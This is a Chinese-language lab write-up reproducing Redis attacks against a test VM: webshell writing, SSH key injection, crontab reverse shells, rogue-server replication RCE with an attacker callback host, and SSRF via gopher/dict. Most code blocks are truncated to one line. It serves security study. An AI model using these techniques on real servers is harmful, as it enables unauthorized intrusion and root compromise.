Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。从2010年3月15日起,Redis的开发工作由VMware主持。从2013年5月开始,Redis的开发由Pivotal赞助。
本文将对一些常见的redis漏洞进行漏洞分析和复现。
搭建环境
因为在redis 3.2版本后存在安全配置项,这里为了方便直接使用redis 2.8.17版本进行漏洞搭建,将tar.gz从git克隆到本地之后使用make进行编译
1 | wget http://download.redis.io/releases/redis-2.8.17.tar.gz |
编译过程如下
编译好之后进入src目录,将redis-server
和redis-cli
这两个文件拷贝到/usr/bin
目录下,这样在启动的时候就不用每次到redis目录下
1 | cp redis-server /usr/bin |
将redis.conf
拷贝到/etc
目录下
1 | cp redis.conf /etc/ |
启动redis服务,可以看到这里环境已经启动成功
1 | redis-server /etc/redis.conf |
redis基本操作
连接数据库,这里在最开始的时候是默认没有密码的,这也是后面产生未授权访问漏洞的原因
1 | redis-cli -h 192.168.1.10 |
设置密码,这里我设置的是qwe123
1 | config set requirepass qwe123 |
设置密码后对比下,发现在设置密码之后直接进入已经被阻止
也可以连接后使用命令输入密码
1 | auth qwe123 |
这里为了方便操作直接将靶机拍摄快照之后关机并克隆,得到靶机ip为192.168.1.10,攻击机ip为192.168.1.7
漏洞原理及复现
未授权访问写shell
漏洞原理
这里之前已经提到过,在安装好redis服务之后是默认不设置密码的,在3.2版本之后自带了安全模式在一定程度上减轻了未设置密码的影响
漏洞复现
首先启动靶机的apache服务
1 | /etc/init.d/apache2 start |
直接使用命令连接,因为这里没有设置密码,可以直接连接过去。这里写入一句话木马,这里为了防止乱码加上\n
换行符,使用save命令保存
1 | redis-cli -h 192.168.1.10 |
然后蚁剑直接连接即可得到shell
写入密钥ssh登录
漏洞原理
原理跟之前的未授权访问有一点不同,这里需要知道靶机的用户名且能够具有写的权限,因为我们需要写入一个rsa密钥来达到控制效果,还有一点就是需要开启ssh服务,这种方法相比于未授权访问更安全也更持久
漏洞复现
首先启动靶机的ssh服务
1 | /etc/init.d/ssh start |
在攻击机上生成一个rsa密钥
1 | ssh-keygen -t rsa |
然后使用命令给rsa加上换行符,防止乱码的情况出现
1 | (echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt |
首先命令行连接到靶机的redis并将rsa密钥写入内存
1 | cat key.txt | redis-cli -h 192.168.1.10 -a qwe123 -x set pubkey |
保存到/root/.ssh目录下的authorized_keys中
1 | config set dir /root/.ssh |
查看一下这里已经保存成功了
这里直接用ssh连接过去即可
1 | ssh -i id_rsa root@192.168.1.10 |
crontab反弹shell
漏洞原理
crontab 是 linux 中的计划任务工具,类似于 windows 中的计划任务,有趣的一点是,当crontab 所需要的执行文件不存在的时候,crontab 不会自动删除执行任务,而等到执行文件再次出现的时候,crontab 又会继续执行,而且不会对文件的内容进行比较。linux 根目录下有个 tmp 目录,这个目录用于存放临时文件,每次关机都会将这个目录清空,如果用户把 crontab 的执行文件放到这个目录下,就会造成执行文件被删除的效果,那么这个时候,可以利用另一个低权限用户制造一个执行文件,执行文件的内容是连接攻击机,然后再将执行文件放入 tmp 目录,触发 crontab 的执行条件后,crontab 就会自动以高权限执行执行文件,然后,在攻击机的指定端口就能得到高权限用户的 shell
首先nc开启一个端口进行监听
然后连接靶机写入反弹命令
1 | redis-cli -h 192.168.1.10 |
写入计划任务定时执行则可收到反弹shell
1 | config set dir /var/spool/cron |
远程主从复制RCE
redis主从复制
主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master),后者称为从节点(slave),数据的复制是单向的,只能由主节点到从节点 . 这是一种以空间置换时间的分布式的工作方案, 可以减轻主机缓存压力,避免单点故障
通过数据复制,Redis 的一个 master 可以挂载多个 slave,而 slave 下还可以挂载多个 slave,形成多层嵌套结构。所有写操作都在 master 实例中进行,master 执行完毕后,将写指令分发给挂在自己下面的 slave 节点。slave 节点下如果有嵌套的 slave,会将收到的写指令进一步分发给挂在自己下面的 slave
开启主从复制三种方式:
1 | 配置文件: 在从服务器的配置文件中加入:slaveof <masterip> <masterport> |
工作流程:
用通俗的语言来总结主从复制的话,就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。
漏洞原理
我们知道master和slave肯定是要进行数据传输的,那么这里在master和slave握手的过程中的协议如下
这里图看起来有点繁琐,我们只需要关注漏洞出现的地方,利用全量复制将master上的RDB
文件同步到slave上,这一步就是将我们的恶意so文件同步到slave上,从而加载恶意so文件达到rce的目的
redis有两种从slave将文件复制到master的方法,一是增量复制,二是全量复制。其实从字面意思上理解都可以看出增量只是复制一部分,而全量是把所有都复制,所以这里使用必须使用全量复制。
全量复制
当slave向master发送PSYNC
命令之后,一般会得到三种回复:
+FULLRESYNC:进行全量复制
+CONTINUE:进行增量同步
-ERR:当前master还不支持PSYNC
slave向master发送PSYNC请求,并携带master的runid和offest,如果是第一次连接的话slave不知道master的runid,所以会返回runid为?
,offest为-1
。然后master验证slave发来的runid是否和自身runid一致,如不一致,则进行全量复制,slave并对master发来的runid和offest进行保存。master把自己的runid和offset发给slave,再进行bgsave,生成RDB文件,将生成的RDB文件传输给slave,并将缓冲区内的数据传输给slave,然后slave加载RDB文件和缓冲区数据。
增量复制
这里就跟全量复制有一点不相同,当master验证slave发来的runid是否和自身runid一致的时候,如果一致,就会只进行数据同步而不会传输RDB文件,那么我们生成的.so
文件就没有办法传输到master上
这里注意还有一个点需要注意,如果redis服务器设置了只允许本地登陆时,就不能够使用远程主从复制的方法
漏洞复现
这里使用到主从复制的py,https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server
i为交互shell,r为反弹shell,反弹shell用nc监听端口即可
1 | python3 redis-rogue-server.py --rhost 192.168.1.10 --rport 6379 --lhost 192.168.1.7 --lport 6381 |
SSRF&redis
SSRF,服务器端请求伪造,服务器请求伪造,是由攻击者构造的漏洞,用于形成服务器发起的请求。在这里ssrf配合redis使用会有意想不到的效果
这里首先需要了解的是redis的RESP
协议
基于TCP的应用层协议 RESP(REdis Serialization Protocol);RESP底层采用的是TCP的连接方式,通过tcp进行数据传输,然后根据解析规则解析相应信息,Redis 的客户端和服务端之间采取了一种独立名为 RESP(REdis Serialization Protocol) 的协议,作者主要考虑了以下几个点:
- 容易实现
- 解析快
- 人类可读
RESP可以序列化不同的数据类型,如整数,字符串,数组。还有一种特定的错误类型。请求从客户端发送到Redis服务器,作为表示要执行的命令的参数的字符串数组。Redis使用特定于命令的数据类型进行回复
RESP是二进制安全的,不需要处理从一个进程传输到另一个进程的批量数据,因为它使用前缀长度来传输批量数据。
RESP 虽然是为 Redis 设计的,但是同样也可以用于其他 C/S 的软件。Redis Cluster使用不同的二进制协议(gossip),以便在节点之间交换消息
RESP在Redis中用作请求 - 响应协议的方式如下:
- 客户端将命令作为
Bulk Strings
的RESP数组发送到Redis服务器。 - 服务器根据命令实现回复一种RESP类型。
在RESP中,某些数据的类型取决于第一个字节:
对于Simple Strings
,回复的第一个字节是+
对于error
,回复的第一个字节是-
对于Integer
,回复的第一个字节是:
对于Bulk Strings
,回复的第一个字节是$
对于array
,回复的第一个字节是*
还有两个个了解的协议是Gopher
协议和Dict协议
Dict
协议dict是基于查询响应的TCP协议,在实际过程中和gopher协议效果相似但是会有一些区别
Gopher
协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议,不过现在gopher协议用得已经越来越少了Gopher
协议可以说是SSRF中的万金油。利用此协议可以攻击内网的 redis、ftp等等,也可以发送 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面
gopher协议的格式:
1 | gopher://127.0.0.1:70/_ + TCP/IP数据 |
gopher的默认端口为70,如果没有指定端口,比如gopher://127.0.0.1/_test
默认是发送给70端口的
这里的_
是一种数据连接格式,不一定是_
,其他任意字符都行,例如这里以1
作为连接字符:
1 | root@kali:~# curl gopher://127.0.0.1/1test |
gopher协议的实现:
gopher会将后面的数据部分发送给相应的端口,这些数据可以是字符串,也可以是其他的数据请求包,比如GET,POST请求,redis,mysql未授权访问等,同时数据部分必须要进行url编码,这样gopher协议才能正确解析。
这里主要总结一下ssrf + redis反弹shell的操作
ssrf + redis的漏洞环境不太好找,这里准备了一个ssrf的漏洞代码
1 |
|
使用dict协议反弹shell
1 | #查看当前redis的相关配置 |
这里使用gopher协议反弹shell的话使用前辈们写的py反弹即可
python2环境
1 | #!/usr/bin/env python2 |
python3环境
1 | #!/usr/bin/env python3 |